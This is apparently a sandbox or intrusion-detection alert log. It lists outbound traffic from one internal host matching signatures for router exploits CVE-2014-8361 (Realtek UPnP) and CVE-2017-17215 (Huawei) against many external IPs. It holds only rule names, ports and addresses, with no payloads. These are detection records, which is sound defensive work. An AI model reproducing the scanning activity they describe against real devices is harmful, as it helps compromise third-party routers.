ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.158.125.18

Timestamp:	07/20/24-23:01:45.134490
SID:	2027339
Source Port:	34732
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 186.254.145.51

Timestamp:	07/20/24-23:01:31.316196
SID:	2027339
Source Port:	59750
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.239.73.219

Timestamp:	07/20/24-23:01:41.328264
SID:	2027339
Source Port:	44472
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 13.18.63.141

Timestamp:	07/20/24-23:01:01.479730
SID:	2025132
Source Port:	46728
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.79.99.46

Timestamp:	07/20/24-23:01:20.149798
SID:	2835222
Source Port:	52948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 63.226.8.25

Timestamp:	07/20/24-23:01:58.364551
SID:	2831300
Source Port:	55070
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 120.123.66.167

Timestamp:	07/20/24-23:01:59.096276
SID:	2027339
Source Port:	43620
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 74.131.241.182

Timestamp:	07/20/24-23:01:40.331150
SID:	2829579
Source Port:	38606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 210.199.180.209

Timestamp:	07/20/24-23:01:52.720668
SID:	2831300
Source Port:	36286
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 213.180.197.99

Timestamp:	07/20/24-23:01:41.328264
SID:	2025132
Source Port:	39722
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 47.10.251.72

Timestamp:	07/20/24-23:01:08.609855
SID:	2831300
Source Port:	38310
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.244.169.9

Timestamp:	07/20/24-23:01:00.636533
SID:	2829579
Source Port:	45164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 94.187.41.215

Timestamp:	07/20/24-23:01:47.231819
SID:	2027339
Source Port:	45896
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.173.198.51

Timestamp:	07/20/24-23:01:52.609595
SID:	2027339
Source Port:	33306
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 138.65.97.97

Timestamp:	07/20/24-23:01:53.697003
SID:	2025132
Source Port:	55182
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 218.79.146.2

Timestamp:	07/20/24-23:01:41.533244
SID:	2025132
Source Port:	57514
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.79.255.113

Timestamp:	07/20/24-23:01:21.915268
SID:	2835222
Source Port:	54320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 164.216.95.45

Timestamp:	07/20/24-23:02:00.856771
SID:	2831300
Source Port:	42370
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 60.176.144.80

Timestamp:	07/20/24-23:00:57.222128
SID:	2835222
Source Port:	38764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 38.105.221.242

Timestamp:	07/20/24-23:01:44.210939
SID:	2027339
Source Port:	47266
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 219.114.72.114

Timestamp:	07/20/24-23:01:08.686799
SID:	2831300
Source Port:	36000
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 85.161.3.79

Timestamp:	07/20/24-23:01:20.592206
SID:	2831300
Source Port:	34858
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 156.42.191.231

Timestamp:	07/20/24-23:01:42.115230
SID:	2831300
Source Port:	48868
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 87.132.55.249

Timestamp:	07/20/24-23:01:44.411586
SID:	2025132
Source Port:	37476
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.105.4.242

Timestamp:	07/20/24-23:01:27.766239
SID:	2829579
Source Port:	53782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.51.204.149

Timestamp:	07/20/24-23:01:24.929013
SID:	2835222
Source Port:	50676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.164.129.53

Timestamp:	07/20/24-23:01:43.305781
SID:	2027339
Source Port:	50004
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 60.118.116.115

Timestamp:	07/20/24-23:01:44.765093
SID:	2831300
Source Port:	46870
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 93.25.182.143

Timestamp:	07/20/24-23:01:45.569319
SID:	2027339
Source Port:	51334
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.0.81.109

Timestamp:	07/20/24-23:01:07.054782
SID:	2835222
Source Port:	46900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.180.106.123

Timestamp:	07/20/24-23:01:11.817771
SID:	2829579
Source Port:	60098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.73.125.205

Timestamp:	07/20/24-23:00:59.148144
SID:	2829579
Source Port:	60312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 218.129.227.171

Timestamp:	07/20/24-23:01:13.185981
SID:	2027339
Source Port:	59030
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 146.185.97.186

Timestamp:	07/20/24-23:01:46.929722
SID:	2025132
Source Port:	40550
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.189.184.171

Timestamp:	07/20/24-23:00:57.221646
SID:	2829579
Source Port:	57502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 173.57.134.38

Timestamp:	07/20/24-23:01:01.473903
SID:	2027339
Source Port:	52872
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.34.104.183

Timestamp:	07/20/24-23:00:59.204975
SID:	2835222
Source Port:	53706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.245.227.231

Timestamp:	07/20/24-23:01:26.849112
SID:	2835222
Source Port:	32780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 203.221.6.21

Timestamp:	07/20/24-23:01:46.298100
SID:	2025132
Source Port:	57352
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 1.7.30.66

Timestamp:	07/20/24-23:01:49.033216
SID:	2027339
Source Port:	47750
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.136.153.134

Timestamp:	07/20/24-23:01:07.075937
SID:	2829579
Source Port:	51020
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 101.42.79.184

Timestamp:	07/20/24-23:01:48.376233
SID:	2027339
Source Port:	42130
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.101.195.243

Timestamp:	07/20/24-23:01:51.056493
SID:	2027339
Source Port:	36906
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 201.250.207.152

Timestamp:	07/20/24-23:01:04.147433
SID:	2027339
Source Port:	34558
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 99.2.133.89

Timestamp:	07/20/24-23:01:08.663245
SID:	2831300
Source Port:	37190
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 32.85.156.168

Timestamp:	07/20/24-23:01:25.215598
SID:	2025132
Source Port:	49828
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 223.193.169.99

Timestamp:	07/20/24-23:01:08.631492
SID:	2027339
Source Port:	44358
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 148.251.22.209

Timestamp:	07/20/24-23:01:27.666100
SID:	2835222
Source Port:	41150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.136.132.148

Timestamp:	07/20/24-23:01:40.311124
SID:	2835222
Source Port:	50952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 147.163.143.195

Timestamp:	07/20/24-23:01:44.779503
SID:	2027339
Source Port:	45168
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 34.139.90.241

Timestamp:	07/20/24-23:01:47.858878
SID:	2025132
Source Port:	54142
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 148.27.255.148

Timestamp:	07/20/24-23:01:53.428577
SID:	2027339
Source Port:	51684
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 67.241.234.23

Timestamp:	07/20/24-23:01:58.892811
SID:	2025132
Source Port:	44010
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.4.24.226

Timestamp:	07/20/24-23:01:40.290003
SID:	2835222
Source Port:	38354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.0.21.49

Timestamp:	07/20/24-23:01:24.898476
SID:	2829579
Source Port:	48420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 151.83.52.203

Timestamp:	07/20/24-23:01:32.046185
SID:	2829579
Source Port:	51004
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 82.187.47.45

Timestamp:	07/20/24-23:01:42.477986
SID:	2027339
Source Port:	45052
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 117.76.49.30

Timestamp:	07/20/24-23:01:08.683685
SID:	2831300
Source Port:	33344
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.38.235.14

Timestamp:	07/20/24-23:00:57.222163
SID:	2835222
Source Port:	44174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 53.132.125.29

Timestamp:	07/20/24-23:01:44.813013
SID:	2025132
Source Port:	55664
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.31.197.218

Timestamp:	07/20/24-23:01:24.934977
SID:	2829579
Source Port:	50966
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 120.82.97.31

Timestamp:	07/20/24-23:01:51.266026
SID:	2027339
Source Port:	50320
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 72.254.44.143

Timestamp:	07/20/24-23:01:24.929013
SID:	2835222
Source Port:	44842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.246.88.6

Timestamp:	07/20/24-23:01:21.943544
SID:	2829579
Source Port:	44032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 159.130.44.143

Timestamp:	07/20/24-23:01:41.331701
SID:	2025132
Source Port:	50740
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 223.123.26.129

Timestamp:	07/20/24-23:01:51.144153
SID:	2831300
Source Port:	40542
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 25.81.242.112

Timestamp:	07/20/24-23:01:04.098080
SID:	2835222
Source Port:	38518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 173.58.223.243

Timestamp:	07/20/24-23:01:44.729296
SID:	2027339
Source Port:	51236
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 217.141.116.135

Timestamp:	07/20/24-23:01:43.555329
SID:	2025132
Source Port:	33944
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 125.188.157.139

Timestamp:	07/20/24-23:01:50.030683
SID:	2027339
Source Port:	56748
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 107.137.22.219

Timestamp:	07/20/24-23:01:53.807714
SID:	2027339
Source Port:	49942
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.38.188.109

Timestamp:	07/20/24-23:01:14.049603
SID:	2829579
Source Port:	39784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 36.168.150.31

Timestamp:	07/20/24-23:01:13.710739
SID:	2027339
Source Port:	44082
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 204.214.250.6

Timestamp:	07/20/24-23:01:11.632393
SID:	2829579
Source Port:	51772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 12.188.189.35

Timestamp:	07/20/24-23:01:42.915640
SID:	2025132
Source Port:	32862
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 67.67.248.34

Timestamp:	07/20/24-23:01:47.455725
SID:	2025132
Source Port:	39524
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 205.29.56.156

Timestamp:	07/20/24-23:01:08.655109
SID:	2027339
Source Port:	40878
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 27.236.237.70

Timestamp:	07/20/24-23:01:53.059916
SID:	2025132
Source Port:	54154
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 149.227.100.108

Timestamp:	07/20/24-23:00:57.222254
SID:	2835222
Source Port:	52740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 90.144.20.22

Timestamp:	07/20/24-23:01:49.170008
SID:	2027339
Source Port:	40856
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 24.106.184.126

Timestamp:	07/20/24-23:01:08.684499
SID:	2831300
Source Port:	42886
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 47.244.160.188

Timestamp:	07/20/24-23:01:43.300793
SID:	2831300
Source Port:	36788
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 96.23.98.70

Timestamp:	07/20/24-23:01:51.483441
SID:	2027339
Source Port:	33916
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 150.183.171.74

Timestamp:	07/20/24-23:01:46.483452
SID:	2831300
Source Port:	42042
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 155.182.30.66

Timestamp:	07/20/24-23:01:42.891313
SID:	2025132
Source Port:	49330
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 88.171.168.15

Timestamp:	07/20/24-23:01:47.474975
SID:	2027339
Source Port:	48700
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.239.61.12

Timestamp:	07/20/24-23:01:08.565561
SID:	2027339
Source Port:	51710
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 174.130.13.191

Timestamp:	07/20/24-23:01:41.449345
SID:	2027339
Source Port:	42106
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 49.133.161.207

Timestamp:	07/20/24-23:02:00.396073
SID:	2027339
Source Port:	52322
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 191.235.3.135

Timestamp:	07/20/24-23:01:41.323363
SID:	2027339
Source Port:	49010
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 106.184.161.191

Timestamp:	07/20/24-23:01:44.757783
SID:	2027339
Source Port:	45030
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 172.95.79.32

Timestamp:	07/20/24-23:01:08.563416
SID:	2831300
Source Port:	42218
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.71.153.133

Timestamp:	07/20/24-23:01:20.161614
SID:	2829579
Source Port:	38518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 75.52.105.57

Timestamp:	07/20/24-23:01:42.164492
SID:	2025132
Source Port:	48656
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 187.122.130.75

Timestamp:	07/20/24-23:01:43.133950
SID:	2027339
Source Port:	39136
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 219.114.72.114

Timestamp:	07/20/24-23:01:04.973966
SID:	2025132
Source Port:	33896
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.119.213.132

Timestamp:	07/20/24-23:01:27.650871
SID:	2829579
Source Port:	52838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 40.172.192.128

Timestamp:	07/20/24-23:01:54.826949
SID:	2027339
Source Port:	53120
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 133.79.190.240

Timestamp:	07/20/24-23:01:52.250832
SID:	2831300
Source Port:	33106
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

